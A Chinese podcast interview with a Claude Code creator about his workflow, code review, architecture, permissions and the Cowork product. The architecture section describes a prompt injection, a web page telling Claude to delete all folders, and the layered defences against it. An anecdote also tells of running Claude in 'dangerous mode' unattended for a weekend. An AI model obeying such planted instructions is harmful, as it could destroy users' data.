如果从模型安全的角度来看,大致可以分成几个层面。最底层是模型层,比如对齐和机制可解释性;再往上一层是各种评测,这有点像把模型放进培养皿里,在一种合成环境中研究它;再往上一层,就是把模型放进真实世界,观察它在真实环境中的表现:用户是如何使用它的、如何讨论它,以及真实环境中可能出现的风险。

 

其实,在这样的真实环境里可以学到非常多东西。通过这种方式,我们确实让模型变得更安全。所以从内部的角度来看,这个决定是完全正确的

 

主持人:听你说它其实是一个研究项目,是为了观察用户如何使用模型,还是挺让人意外的。因为很多创业公司是刻意在做开发者工具,希望获得大量用户,而你们这个研究工具反而获得了更大的采用率。

 

Boris:其实 Anthropic 本质上是一个研究实验室、一个安全实验室,产品只是附带的东西。产品存在的意义是为了更好地服务研究,同时让模型更安全。我们很多事情都是从这个角度来看的。

 

早期还有个挺有意思的事儿。当时我们开了一次发布审批会,在讨论要不要发布这个东西。会议室里有 Mike Krieger、Dario,还有一些其他同事,我们看内部的采用率曲线,那条曲线几乎是垂直向上的,从一开始就非常夸张。

 

主持人:现在基本是百分之百了吧?

 

Boris:对,差不多是 100%。现在 Anthropic 每个技术员工每天都会用 Claude Code,非技术员工那边也在快速接近 100%,增长速度非常快,比如销售团队里现在差不多有一半在用,而且还在继续增加,整体来说非常疯狂。

 

当时 Dario 还问了一个问题:“为什么增长这么快?你们是在强制大家用吗?”我说:没有,我们只是提供了这个工具。大家用脚投票,选自己喜欢的工具而已。结果大家就选了它。

 

主持人:你确实不像那种会强迫别人用自己工具的人。

 

Boris:我们做的其实很简单,把东西发布出去,然后认真听用户反馈。我们会跟用户聊,看他们怎么用,持续跟进,然后不断改进。现在,Anthropic 内部大概有 80%的代码是 Claude Code 写的。对我来说更极端,基本所有代码都是它写的。

 

“它写得比我好”

 

主持人:当时发生了什么,为什么你开始完全信任它?你会审查多少代码?

 

Boris:其实那个转变是瞬间发生的。我们开始用 Opus 4.5 那会儿,模型还没公开发布,我们内部先 dogfood 一段时间。模型能力一下子强了很多,我很快就发现自己根本不需要再打开 IDE 了。后来我干脆把 IDE 卸载了,因为真的不需要。这其实也是我一个月之后才意识到的,因为我发现自己已经很久没打开 IDE 了。

 

主持人:很多人都有类似体验。Opus 4.5 发布之后,特别是冬天假期那段时间,我也有这种感觉。它在我熟悉的技术栈和代码库里写出来的代码,基本跟我自己写的一样好;而在我不熟悉的技术栈里,它写得甚至比我好。

 

Boris:我可以很坦白地说,它写得比我好。

 

主持人:我还不太愿意承认这一点,但大概是真的。

 

Boris:我是这样意识到的:那年十二月,我在旅行,有点像“编程度假”。我去了欧洲,在不同城市之间穿梭,基本就是一边旅行一边写代码。我最喜欢的事情就是整天写代码。那段时间,我每天可能提交十几、二十个 PR,所有代码都是由 Opus 4.5 和 Claude Code 写的,我没有手动修改一行。到月底我回头看,Opus 可能只引入了两个 bug,而如果是我自己写,大概会有二十个。

 

Claude Code 使用技巧

 

主持人:你现在是怎么用 Claude Code 的?比如并行开发、一些技巧,还有团队里总结出来的经验。

 

Boris:首先,没有唯一正确的用法。我可以分享一些方法,但如果有人只是照抄,那其实是误解了。我们把 Claude Code 做得非常可 hack,正是因为每个工程师的工作方式都不同,没有两个人的 workflow 是一样的。就像每个工程师的工作站都不一样:键盘、显示器位置、各种配置都不同。我们其实是某种意义上的“手艺人”,会非常在意工具。

 

对我来说,一般是这样的:我会开五个 terminal tab,每个 tab 都 checkout 一份代码库,也就是五个并行的 checkout,然后轮流在这些环境里启动 Claude Code。几乎每次开始的时候,我都会先用 plan mode,在终端里按两次 shift+tab。如果 tab 不够用,我就会切换到别的方式,以前常用 web 版本(Claude.ai/code),现在更多用桌面版。

 

桌面版 Claude Code 已经集成很久了,就是 Claude 应用里的一个 code tab。我很喜欢它,因为它内置了 worktree 支持,这对并行开发很方便。这样你其实不需要多个 checkout,只需要一个,系统会自动帮你创建 Git worktree,每个任务都有隔离的环境。我以前不用 worktree 的原因是在命令行里操作它太麻烦了,要处理各种路径和 cd 命令。

 

主持人:对一些不太熟悉的人来说,worktree 的概念是不用复制整个项目目录,也能在不同分支上同时工作,对吧?

 

Boris:可以这么理解。想象一下 Git 很便宜地帮你复制了五份代码目录,每一份都是隔离环境,但创建和删除都很轻量。这样你就能并行工作,不会互相干扰。

 

主持人:现在你们已经原生支持这个了,但你的个人 workflow 还是老方式:多个目录?

 

Boris:对。其实我现在越来越多用桌面版,因为不用再维护多个 checkout。我可以同时跑很多个 Claude 实例,也不用想太多。另一个意外的热门用法是 iOS 应用。我每天早上醒来,会先在手机上启动几个 agent。

 

主持人:只是它在云端运行吧?

 

Boris:对,在云端跑,所以需要配置一下环境。我的环境比较简单,我们用 hooks 来配置,比如 session start hook。因为 Claude Code 很容易 hack,所以这种配置其实很简单。说实话,这是我以前完全没想到的。如果六个月前有人跟我说,我会有三分之一甚至一半的代码是在手机上写出来的,我肯定会觉得很离谱,但现在这就是我的日常。

 

主持人:你现在会用并行 agent。你是从什么时候开始这么用的?它怎么改变了你的工作方式?

 

Boris:我觉得可以把它理解成两种模式、两套 workflow。刚接触一个代码库的时候,我非常推荐用 learn mode,真的非常推荐。比如新加入 Claude Code 团队的人、新入职 Anthropic 的人,我们都会建议他们这样用。具体做法是:如果你还没试过,在 Claude Code 里输入 /config,选择输出风格,然后你可以选 learn 或 explanatory。我们一般推荐 explanatory,因为在你不熟悉的新代码库里,它往往更好用。

 

对我来说,一旦你熟悉了代码库,你想要的就是高产,想尽可能多地 ship,想把事情做得更有效率。这个时候角色就会切换。我现在基本不会再深度跟着每一步任务走了。我会在 plan mode 里启动一个 Claude,让它用 Opus 4、4.5 去先把事情推进起来。我觉得到了 4.6,它真的就“到位”了:一旦有了一个靠谱的 plan,它几乎每次都会直接把实现跑出来。所以最关键的是你得和它来回磨一下 plan。

 

我一般这么做:开第一个 tab,进入 plan mode,给它一个 prompt,让它开始跑。它在那边跑的时候,我切到第二个 tab,再开第二个 Claude,也在 plan mode 里让它跑起来。然后第三个、第四个依次开起来。等我收到第一个跑完的通知,我再回到第一个去处理下一步,然后就这样轮着走。

 

代码高产的含义变了

 

主持人:你 PR 的产出真的特别高。其实假期那段时间在社交媒体上很明显。好像有人提了个 bug 或者 feature request,你一两个小时之后直接就搞定了。通常一个 PR 的复杂度大概是什么样?有些是不是特别微不足道,有些就比较庞大?

 

Boris:每个 PR 都差很多,有时候只有几行,有时候几百行,甚至几千行,每一个都不一样。而且这件事变化太大了。以前我在 Instagram 的时候,按代码产出量来说,我可能是前二、前三的工程师之一,我一直写很多代码。对我来说,写代码是一种表达方式,也是我大脑思考问题的方式。现在我只是更能做到这件事了。

 

但我觉得在 Claude Code 时代,如果你很高产,你写的“代码类型”其实更不一样了。单纯看 PR 数量反而容易误解发生了什么。因为在 AI 辅助之前,那些特别高产的人,很多产出可能是代码迁移之类的活。比如以前一天能发二十、三十个 PR 的人,其中不少就是一行改动,或者把 A 迁移到 B 之类的东西。现在我一天也能发二十、三十个 PR,但每个 PR 的内容完全不同:有些是几千行,有些是几百行,有些是几十行,也有很多是一行的小改动。但这些基本都不是那种“迁移型工作”,因为迁移这种事 Claude 自己就能做好,我不需要亲自参与了。

 

代码 review,需要有人在

 

主持人:你现在能交付这么多代码,任何软件从业者都会马上想到一个显而易见的问题:review 怎么办?团队以前的协作方式要怎么跟上?我不知道 Instagram 是不是这样,但很多公司是你提一个 PR,必须有人类 reviewer。比如 Google 甚至是两个人,一个负责 code review,一个负责 code quality。你们现在的 workflow 怎么变了?Claude Code 团队怎么理解 code review?这件事这些年怎么演进的?

 

Boris:我先从我以前怎么做 code review 说起。以前我其实也是最“高产”的 code reviewer 之一。这也有一个“隐藏优势”,我不是超人,我只是没什么会议。

 

我做 code review 的方式是:每次我想评论某个问题,都会把它记到一个 spreadsheet 里,写清楚是什么问题。比如有人把函数参数命名得很糟糕,或者用了很差的 React 写法,我都会记下来。时间久了,只要某一行的问题出现超过三次或四次,我就给它写一条 lint rule,把它自动化掉。

 

所以对我来说,我一直都想把自己“自动化掉”,因为事情太多了。工程师的一个超级能力就是能把很多重复、琐碎的工作自动化掉,很少有其他行业能做到这一点。而且我一直很享受这件事,因为它能给我更多自由时间,去做我真正喜欢的工作。

 

现在的做法有些不同,但其实也有点像。Claude Code 写代码的时候,一般会在本地跑测试。它经常会在“合适的时候”自己决定去做,或者会去补新测试。你可以把这看作一种验证。比如我们改 Claude Code 的时候,Claude 会“自测”:它会把自己启动起来,作为一个子进程跑起来,做自我验证,做端到端测试。

 

主持人: 你说的是你们内部的 Claude Code 实现本身?也就是说你们有一套测试用来验证它自己?

 

Boris:对,没错。而且它真的会把自己启动成一个 batch process,然后问一句很直白的问题:“我还工作吗?”它会自己这么干。关键是,这不是我们专门写死进去的规则,尤其是 Opus 4.5 之后,它有点像“自发地”就开始这么做了,它就是想检查一下。

 

Anthropic 的每一个 PR 都会先被 Claude Code 做一轮 code review。它能抓到大概 80%的 bug,这是第一轮 review,Claude 也会自动修掉其中一部分;有些它不确定怎么处理,就会留给人类。之后一定还有一个工程师做第二轮人工 code review,并且最终一定要有人在 loop 里批准变更。

 

主持人: 所以你们团队里,在任何东西进 production 之前,都会有工程师看一遍,这还是传统意义上的 code review。那你觉得这适用于所有类型的项目吗?还是说,因为你们知道这件事有真实世界影响、用户依赖它、用户量很大,所以必须这样?

 

Boris:我觉得要看它怎么被使用。我同意你的判断,如果你做的是个人业余项目,你可能就直接推到 main 了。

 

主持人:就算在 AI 之前也是这样,你也不会 review,你就相信自己,直接上生产,然后再迭代。

 

Boris:对,完全是。Claude Code 最早的内部版本,我是直接提交到 main 的。但一旦你有用户,尤其 Anthropic 的主要客户是企业——这是我们最在乎的,安全性和隐私非常重要,对客户来说也同样重要。所以既然这是一个企业产品,它就必须足够安全,必须达到某个标准。因此我们会用很多自动化,但至少现在,还是必须有人类在 loop 里把关,确保没问题。

 

主持人:你让 Claude 当 reviewer,确实能给出很好的反馈,但你怎么处理这种“它不一定每次都给出同样反馈”的情况?即使它有能力抓到某个问题,也不能保证每次都会抓到。你们在这个 loop 里会不会加入一些更确定性的东西?

 

Boris:对,我们有 typecheckers、linters,也会跑 build。而且 Claude 写 lint rule 真的特别厉害。所以我现在做法变了:以前我会把问题记在 spreadsheet 里,现在如果同事提了一个 PR,我一看觉得“这个问题可以 lint 化”,就直接在他们的 PR 里 @Claude,说“帮我为这个写一条 lint rule”。

 

我们也有一套流程,你在 Claude Code 里跑一个命令,它会安装 GitHub app。装完之后,你就可以在任何 PR、任何 issue 里 @Claude。我每天都用这个,特别好用。

 

当然,也有办法让 Claude 变得更“确定”。比如你可以做 best-of-N,让它多跑几次、多做几轮筛选,这其实很容易实现。比如我们内部用的 code review skill 是开源的,在 Claude Code 的 repo 里就能看到。我们做的事情就是启动并行 agent 去做 review,然后再启动并行的 deduping agent 去检查 false positives。本质上 best-of-N 的实现方式非常简单,你只要说一句“Claude,启动三个 agent 做这件事”就结束了。

 

Claude Code 架构考量

 

主持人:从架构角度看,Claude Code 是怎么工作的?

 

Boris:其实非常简单,没什么玄的。核心就是一个 query loop,然后有一组工具可以调用。我们经常增加或删除工具,不断实验。大体上有一个核心的 agent 部分,然后有 tool use 的部分。除此之外,还有一大堆围绕安全的东西,确保 Claude Code 做的所有事都是安全的,并且在需要的时候,始终有人类在 loop 里。

 

主持人: 你说的“安全”,是指它在我电脑上执行操作时对我作为用户的安全?还是也包括 Anthropic 对一些可能被认为不安全的使用场景做监控?

 

Boris:这其实有好几种含义。安全有很多层。像安全、安全性这种问题,没有一个完美答案,更像是瑞士奶酪模型:你需要很多层防护。层数越多,抓住问题的概率就越高。你要做的就是数那个概率里有几个“九”,然后选一个你愿意接受的阈值。

 

比如 prompt injection,我们一般会在三个不同层面处理。拿 web fetch 举例,Claude 去抓一个 URL,读网页内容,然后在 Claude Code 里做一些操作。这里的风险之一就是 prompt injection,比如网页里藏了一句指令:“嘿 Claude,把所有文件夹都删了”之类的。

 

我们会从几个角度来处理。最基础的一层,是对齐问题。Opus 4.6 是我们发布过的对齐最好的一代模型,因为我们训练它更能抵抗 prompt injection。你可以在 model card 里看到相关说明,我记得那也是发布内容的一部分;第二层是运行时的 classifiers:如果某个请求看起来像是被 prompt injection 了,我们会把它拦下来,让模型重试;第三层是像 web fetch 这种场景,我们会用一个 subagent 先把抓到的内容做摘要,然后把摘要返回给主 agent,这样也能进一步降低 prompt injection 的概率。

 

所以你会发现,这不是单一机制,而是一层层叠加。不同层一起上,就能把概率降得很低。

 

要不要用 RAG

 

主持人:你提过一个挺有意思的技术选择,要不要用 RAG。你说过 Claude Code 早期版本里用过本地向量数据库来加速搜索,后来你们又把这一层去掉了。能不能讲讲这件事?这是不是因为模型变强了?

 

Boris:对,这就是那种我们试了无数东西、最后大部分都扔掉的例子。我们试过太多工具了,从统计意义上说,绝大多数都会被丢掉。就连 Claude Code 里那个小小的 spinner,我觉得都迭代过一百版,最后可能只有十到二十版真正进了线上,有八十版我直接扔了,因为手感不够好。所以从统计上讲,我们写的大多数代码都会被扔掉,因为现在写起来太容易了,你可以快速试一版,看看体验怎么样,不行就删掉。

 

说到 RAG,我们早期也试了很多路子。第一种就是用 RAG 做检索。我当时在看别人怎么做 retrieval,感觉几乎所有论文都在讲 RAG。我的实现方式是做一个本地向量数据库,我记得是用 TypeScript 写的,跑在用户机器上,然后在云端用某个模型来算 embedding,算完再存进去。

 

这套东西其实挺好用的,但 RAG 有很多问题。比如我发现代码会“漂移”,会跟索引不同步:我刚写了一个本地函数,它还没被索引进去,那 RAG 根本找不到它。还有一个更麻烦的问题是权限,这个索引到底怎么做权限控制?我能访问它,那权限策略里怎么表达?怎么确保其他人访问不了?怎么确保公司里如果有个“内部搞事的人”,他拿不到别人的数据?这些都很关键,我们必须认真想清楚。

 

所以我们最后的判断是:它确实能用,但缺点也很多。于是我们又试了很多别的东西。有一种做法是让模型自己递归地把所有内容都“索引”起来,这个想法还挺酷。还有一种版本是我们直接用 glob 去扫、去抓。我们试了一堆方案。最后发现,Agentic Search 的效果碾压所有东西。而所谓 Agentic Search,其实说穿了就是“globbing + grep”,就这么简单。

 

主持人: 明白了。所以一方面模型变得足够强,另一方面你也发现它能把这些工具用得很高效。

 

Boris:对,而且这其实部分灵感来自我在 Instagram 的经历。当时 click-to-definition 经常不好使,技术栈一半时间都是坏的,现在可能好一些了。所以工程师后来学会的替代方式是,比如你想找某个函数 Fu 的定义,你不点跳转,而是用全局索引(Meta 的全局索引还挺强),搜 “Fu(”,也就是函数名加一个左括号。这个方法其实挺好用的。很有意思的是,这对模型来说也同样好用。

 

权限系统复杂在哪里?

 

主持人:这很有意思,一个领域里的办法会迁移到另一个领域。Claude Code 权限系统复杂在哪里吗?另外你们最近也把 sandboxing 开源了。

 

Boris:权限控制非常复杂,跟安全相关的东西都很复杂。它也是一个瑞士奶酪模型:我们会跑一系列 classifier 来确保命令是安全的,同时也会做静态分析来判断命令是否安全。作为用户,你也可以把你确定安全的模式加入 allowlist。比如一些标准的 Unix 工具,我们会预先允许,因为我们知道它们是只读的,知道它们不会泄露数据之类的。

 

但我们做的权限提示到底是为了什么?其实很多工具都属于“看起来安全,实际上不安全”的类型。就连 find 这种命令,都能通过一些系统参数去执行任意代码;再比如 sed 这种命令,也有办法被用出一些你意想不到的花活。所以这里面有很多关于 Unix 工具的“玄学细节”,它们并没有你想的那么安全。我们默认就会比较保守,宁可少放一点。当然,默认之外,用户可以配置 allowlist。你可以定义哪些模式允许,哪些模式不允许。我们也会检查你配置的 allowlist,确保它本身是安全的。

 

主持人:然后你们有个挺优雅的权限系统,每次运行一个需要权限的命令时,用户可以选择只允许一次、只允许本次 session,或者以后全局都允许。

 

Boris:对,没错,这其实是个挺有意思的“历史遗留物”。因为在 Claude Code 的最早版本里,权限就是这么设计的。

 

我记得当时我们其实不确定 agentic safety 到底能不能解决。内部的安全团队有过很强的反对意见,他们会说“你不能让模型直接跑 bash 命令,这太不安全了,这根本不是一个可解的问题,所以我们不能发布。”我当时和 Ben 讨论过很多。Ben 之前组建了 Labs 团队,他也是创始人之一,而且说实话,是他把我招进 Anthropic 的。我们最后想到的办法就是 permission prompt:如果系统不确定,就把人放进 loop 里,让人来决定。

 

Anthropic 的软件工程文化

 

为什么大家的 title 一样

 

主持人:我想问一个更偏“Anthropic 的软件工程到底怎么做”的问题。从外部看,一个很显眼的点是:title,或者说几乎没有 title。Anthropic 里所有人的职称都是 Member of Technical Staff。为什么会这样?这种“几乎人人都没 title”的结构,会带来什么结果?当然除了一个例外。

 

Boris:我觉得这其实是一种承认:大家都在摸索,没有人是“全都已经知道答案”的状态。

 

你稍微看下大家做的工作就会发现其实都挺像的,而且大家都是通才。你去问一个普通的软件工程师,他可能不只是写代码,也会做一点设计,也会跟用户聊,也会自己写产品需求,也会做研究;他可能既写产品代码,也写基础设施代码。我们这里通才确实很多,这也跟我的背景有关,这也是我被它吸引的原因之一。

 

“Member of Technical Staff”这个 title,其实就是把这种默认认知写进了组织语言里:就算你跟一个人不熟,你看到他在 Slack 上的名字下面写的是 Member of Technical Staff,你默认会觉得他什么都做。

 

如果没有这个 title,默认情况可能是:我在 Slack 上看到你写着“Software Engineer”,我就会下意识觉得你就是“写代码的人”,所以我可能不会拿产品问题去找你。但当所有人都叫 Member of Technical Staff,你就会默认每个人都能参与产品、工程、研究、基础设施等各种事。它会在你还不认识对方的时候,就把人与人之间的关系“倒过来”。

 

某种意义上,这是一种写进结构里的乐观。我也觉得这像是未来的一角:软件工程会越来越走向这种通才模型,我觉得各个职业最终都会往这个方向演进。

 

主持人:在软件工程里确实越来越这样。我听过一个挺好笑的说法,科技圈现在有点像“墨西哥对峙”,设计师说自己现在也在做 PM 和工程的活;工程师说自己也在做设计;大家都站在那儿说“我也在做你的工作”。但现实是,每个人的职责确实在扩展,很多都得益于 AI:它让工程师更容易做产品工作,让产品更容易做工程工作等等。

 

Boris:我记得去年六七月的时候,我走进办公室,Claude Code 团队旁边坐着一排数据科学家——至少当时是这样。其中一位数据科学家的显示器正开着 Claude Code。我当时觉得很有意思:你是数据科学家,为什么在用终端?你不是没装 Node.js 吗?我们那时候还依赖 Node.js。我还以为他是在 dogfood,想研究这个工具怎么用。

 

结果他说不是,而是在用它跑 SQL,而且终端里还能显示 ASCII 格式的小可视化图表。然后下一周,那一整排数据科学家全都在电脑上跑起了 Claude Code,而且这种使用范围还在继续扩大。

 

所以你看今天的 Claude Code 团队,大家真的都在写代码:工程师写代码,工程经理写代码,设计师写代码,数据科学家写代码,我们的财务同事也写代码,团队里每个人都写代码。

 

我觉得一部分原因是 Claude Code 把门槛降得太低了:你不一定要完全理解代码库,也能很快跳进去做一些小改动。另一部分原因是,大家可以用 Claude Code 把自己的本职工作做得更好,不管是财务预测、数据分析,还是别的什么。当你已经用它把工作做顺了,再用它写一点点代码,就变得很自然。这其实就是一种“把脚趾先伸进水里”的方式。

 

不要一堆文档,直接做原型

 

主持人:之前提过 Anthropic 内部几乎不写 PRD,这是大厂非常常见的东西,越来越多的中大型创业公司也会写:先写 spec,把想法写清楚,大家对齐,然后交给团队去做。但你们好像基本不做这件事,甚至完全不做。

 

Boris:有一部分原因是 Anthropic 现在毕竟还是个创业公司,你不需要跟那么多人对齐。很多事情直接在 Slack 里聊一聊就行了。还有一部分原因是,比如 Cat Wu 以前是工程经理,她技术非常强,我们的产品团队很多时候也是这么想的,与其写 PRD,不如直接发一个 PR。

 

主持人:你们现在更多是在做原型,而不是写一堆文档。大家是不是更倾向于“做出来、演示出来”,而不是“写出来”?你现在观察到这种趋势吗?

 

Boris:对,完全是。我们团队的文化基本就是:我们不怎么写东西,我们直接拿东西出来给你看。现在回头想“没有这种方式的时代”其实有点难,因为原型化已经深到我们构建产品的方式里了,现在几乎所有东西都会做很多次 prototype。

 

比如我们这周刚发布了 agent teams,这是我们对 swarms 的一种实现。它很让人兴奋,因为它能让 Claude 更长时间、更自主地做更多工作。你会有一堆彼此不相关的 context window,还有 agent 之间的通信机制,所以它们能做的事情就更多。

 

这个功能是 Daisy、Suzanne、Karen 以及团队里其他人一起做的。他们为了把体验做得“真好用”,原型化做了好几个月,前前后后可能试了上百个版本,才做出一个手感真正对的用户体验。这东西非常难做对。如果我们一开始是用 Figma 画静态 mock,或者一开始写 PRD 之类的东西,根本不可能把它做出来。它必须得做出来、用起来、摸到手感,才能知道对不对。

 

主持人:我的一个启发是,我们可能应该更大胆一点,多做原型,也要重新校准我们对“做一个原型需要多久”“谁需要来做”的固有认知。以前做原型总觉得必须工程师来做,但现在可能不成立了。

 

Boris:没错。我们现在也处在一个阶段:我们不知道正确答案是什么。以前那套建产品的方式里,“构建成本”很高,所以你会花很多力气在开枪之前先瞄准,因为一旦开枪,回头改路线很难,你只能开少数几枪。但现在变了,构建成本很低,可问题是我们也不知道靶心在哪。所以我们只能不断尝试、不断看手感、不断探索。

 

我觉得这里面还有一个很重要的因素叫“谦逊”。就我个人来说,我一半时候都是错的,甚至我的大多数想法都是烂的,至少有一半是烂的,但我不知道是哪一半,除非我真的把它试出来。我得先自己试一遍,然后还得看别人怎么想,因为我的直觉不一定跟别人一致。

 

主持人:你给我看那些“任务怎么呈现”的原型时,你说你的流程一直是先自己做出来、自己用一遍、摸到感觉,然后把你觉得好的那些拿去给别人看。别人有时候会直接泼冷水,说不行、用不起来;有时候大家也觉得不错,然后你再更大范围地分享。我感觉这其实是一种混合流程:有些你自己就能先判断,有些必须靠反馈,最后才会筛出真正的好点子。

 

Boris:对,而且这类例子太多了。比如我们最近上线了一个“文件读取和文件搜索的压缩视图”,就是因为模型现在太 agentic 了,屏幕一半都被 file read 的输出占满,但我其实并不关心它读了什么,我只想知道它读了并且继续往下做了。所以我们把展示压缩了一下,让输出更可读。

 

这个东西我自己大概做了三十个 prototype 才觉得“对了”。为了把它做得又干净又顺滑,花了非常多精力。然后我们先给 Anthropic 内部员工灰度了差不多一个月,让大家 dogfood。我又根据反馈修了大概十几个 bug、做了十几轮细微调整。

 

我们对外发布之后,几乎所有用户都很喜欢,但也有一些用户不喜欢,因为他们更想要展开的输出。于是 GitHub 上就开始来回讨论:你到底不喜欢哪一点?大家会给很多反馈。我再发一个新版本,有人更喜欢了,也有人更不喜欢了。那我就再迭代,再把它调到更好。

 

现在我觉得它几乎已经到位了:用户可以按自己喜欢的方式配置,但默认体验也真的很好。整个过程就是这样,我们有时候能一开始就做对,但更多时候得从用户那里学习。我们需要听到大家的声音,才能把事情做好。

 

主持人:你们工作中会用 ticketing system 吗?是把“我想做的工作”记录下来,还是基本就是工作来了就做?

 

Boris:在 Anthropic,这件事是团队、甚至每个人自己决定的。不同人用法不一样。比如我本人不怎么用 ticketing system,有的人喜欢用 Asana,有的人用 notes 之类的。

 

我见过一个特别酷的例子,大概是三个月前。我们当时发布了 plugins。Daisy 在一个周末用了一套很早期版本的 swarms,让 swarm 自己跑。她给它的指令是:你的工作是做 plugins,你要先写一个 spec,然后你要建一个 Asana board,把工作拆成任务,然后让不同 agent 去做这些任务。她搭了一个 container,然后把 Claude 开到了 dangerous mode,就让它跑满整个周末。它生成了几百个 agent,在 Asana board 里建了一百个 task,然后把它们都实现了。基本上我们后来发布的 plugins,就是那个版本。你会发现,这类“协调系统”以前是给人用的,但现在对模型来说同样重要。

 

Claude Cowork 的研发思路

 

主持人:我们聊聊 Claude Cowork 吧,这是你们很重要的一个产品。我听到一个很夸张的说法:它是十天做出来的。你能不能讲讲它到底是怎么做出来的?这个“十天”具体指什么?是从想法开始,还是从决定要做开始?当时有多少人一起做?

 

Boris:团队非常小,就几个人。我们其实很早就感觉到,需要为非工程师做一个产品。原因很简单,一直以来,Claude Code 的用户里就有不少非工程师。在产品世界里,如果你看到“潜在需求”,也就是一群不是目标用户的人,硬是用各种办法绕过门槛去用一个并非为他们设计的产品,这通常就是一个非常强的信号:该为他们做一个真正的产品了。

 

有很多例子。Twitter 上有个人用 Claude Code 去监控他的番茄植物。我看到之后特别喜欢:他搭了个摄像头,然后 Claude 会说“天啊,我好开心,我们的植物开始发芽了”,因为它每天都在监控,看到番茄长起来就特别兴奋。还有人用 Claude Code 从一个损坏的硬盘里恢复照片,那是他的婚礼照片。而且像我之前说的,Anthropic 的整个财务团队都在用 Claude Code,销售团队也在用。也就是说,确实有大量非工程师在用它。

 

但与此同时,Claude Code 虽然已经有了很多形态:最开始是终端,后来加了 IDE 支持,我们给所有基于 VS Code 的 IDE、所有 JetBrains 系的 IDE 都做了扩展;还有 iOS、Android;有桌面版,有 web;还有 Slack 和 GitHub app,我们把它铺到这么多地方本质上是为了让工程师更容易用,可问题是这些形态最终都还是“为工程师设计”的,并不是为非工程师设计的。Claude Code 一直在进化,但我们仍然感觉中间有一个缺口:还有一个产品能让非工程师更轻松地用起来。

 

所以过去几个月,我们团队一直在各种 hack:到底正确的产品形态是什么。后来有人提了一个想法说,我们能不能直接在 Claude Code 的基础上加一些 guardrails?比如 Cowork 会自带一个虚拟机,这就是我们保证它安全的很多方式之一,尤其是对非技术用户来说,他们不想去读一堆 bash 命令来理解系统在干嘛。大家就这么一路 hack 下去。我记得大概就是十天左右,完全用 Claude Code 把它做出来,然后我们就发布了。

 

Cowork 应用,产品复杂在哪里?

 

主持人:像 Cowork 这种 app,背后的复杂度到底有多大?能不能拆解一下有哪些部分必须做?我问这个是因为 Uber 是一个很好的例子。从外面看 Uber app 特别简单,但我在那工作过,知道它非常复杂,因为很多复杂度是你看不到的,比如地区差异、后端流程、各种隐藏的业务逻辑。

 

Boris:有些地方复杂度比你想的低,有些比你想的高。

 

产品层面其实挺简单的,因为它就是 Claude 的桌面 app。它是一个统一的桌面应用,里面有 cowork tab、code tab、chat tab,所以它本质上还是同一个 app,我们能继承很多现成的产品逻辑。底层也就是一些 UI 渲染代码,核心还是同一个 Claude Code、同一个 Claude agent SDK 在跑。

 

真正的复杂度很多来自安全性。因为我们知道用户是非技术用户,我们必须确保他们体验好,也不会发生灾难性后果。比如有人打开 app,一不小心把一堆家庭照片删了,那就非常糟糕。所以我们要确保它不会让你“误操作”到这种程度,必须做很多保护。因此我们做了很多护栏:后端跑了很多 classifiers,这是安全相关;还有对 prompt injection 之类风险的额外缓解措施。前端这边,我们会随产品一起发一个完整的虚拟机;还要做很多操作系统级别的集成,确保用户不会误删东西。所以围绕“安全”这一块,复杂度很大。

 

我们还得重新思考权限系统,因为我们继承了 Claude Code 的权限体系。但对 Cowork 来说,一个很大的价值不只是本地跑,而是像 Claude Code 一样去调用你各种工具。问题在于,对非技术用户来说,“工具”往往不是 CLI 形式:有些工具可以通过 MCP 接入,很多工具其实是在浏览器里用的。

 

所以 Cowork 跟 Chrome 扩展配合起来会非常强,这也是我最常用的方式。比如我每周都会用它做团队的项目管理。我们有一个 spreadsheet,用来非常高层次地跟踪每个人在做什么,这是我个人习惯的项目管理方式。其他人像我说的,有人用 Asana,有人用 notes。我自己做个人事项的时候基本不用任何东西,但团队层面我会用那个表格。

 

每周我会让 Cowork 做一次 check-in:我会问它,“你能不能看看哪些行的状态没填?然后去 Slack 里 ping 对应的工程师?”它会在 Chrome 里开一个 tab 放 spreadsheet,再开一个 tab 放 Slack,然后开始在 Slack 里给工程师发消息,基本一把梭就做完。有时候会遇到一个小问题:某个工程师的名字不知道为什么没法自动补全,但除了这个之外,整体都能跑通。

 

而从安全角度,我们也花了很多力气去设计这个 Chrome 扩展:它怎么工作、权限模型怎么跟本地权限模型交互。这里也有不少代码,就是为了让整个体验足够顺滑。

 

技术上如何实现

 

主持人: 你们这套东西在技术实现上是什么样的?我猜你们很多东西会和 Claude 的 app 很像,但具体是用 Electron、TypeScript 这类技术栈吗?还是别的?

 

Boris:对,就是 Electron 加 TypeScript。其实做这块的人里有一些本来就是 Electron 圈子的人。比如 Felix,你知道的 Cowork 的作者之一,他当年是 Electron 非常早期的工程师,参与过它的构建。

 

主持人:Cowork 现在只在 macOS 上发布,为什么会先选这个平台,而且目前只选这个平台?

 

Boris:Windows 很快就会有。我觉得等这期播客上线的时候,我们应该已经支持 Windows 了。我们只是想尽早开始、尽早学习。你看我们在 Anthropic 做的很多事,其实就像我前面讲我自己的经历一样。

 

我喜欢 Anthropic 的一个点是,这里做事的方式和大家的思维方式非常一致。我们对自己要做的东西并没有很高的确定性,我们的直觉经常是错的,所以我们只能从用户身上学习,去弄清楚大家真正想要什么。我们会花很多时间去听、去理解反馈,而且是很深入地理解。这就是我们做产品的方式。

 

所以我们经常会在“还没完全准备好”的时候就先发一点出来。Claude Code 当初也是这样,最早发布的时候甚至不支持 Windows,也不支持很多不同的技术栈,然后接下来的几周里,我们不断补支持。现在 Claude Code 基本什么都支持,Windows 也好,各种奇怪的 Linux 发行版也好,macOS 也好,我们都支持。

 

所以 Cowork 也是一样:我们想先尽早发布。先从 Mac 开始,因为那是最容易的起点。但它会支持所有平台的。

 

主持人:无论是 Claude Code 还是 Claude Cowork,你们在发布、灰度的时候,像可观测性、监控这些怎么做?我更关心你们是自己做了一套工具,还是选了某些供应商?因为可观测性肯定很重要,而且听起来用户规模也不小,这不会是个小工程。

 

Boris:我们有用一些现成的供应商方案,也有一些自研代码,所以是混合的,没什么特别反常识的地方。

 

不过 Anthropic 有个点挺特殊:因为我们是做企业业务的,非常重视隐私和安全,所以我们看不到用户数据。也就是说,如果有人报 bug,我其实不能直接把你的日志拉出来看发生了什么。所以,我们要花很多功夫去设计“怎么记录事件和日志”,并且要用一种保护隐私的方式来做。这对我们如何运作来说非常关键。

 

用户反馈了什么

 

主持人:Cowork 上线也有一段时间了,到目前为止你们有哪些学习?有没有看到什么出乎意料的事?你们会根据反馈去调整产品吗?

 

Boris:团队每天都在并入大量修复。最意外的是大家有多喜欢它。

 

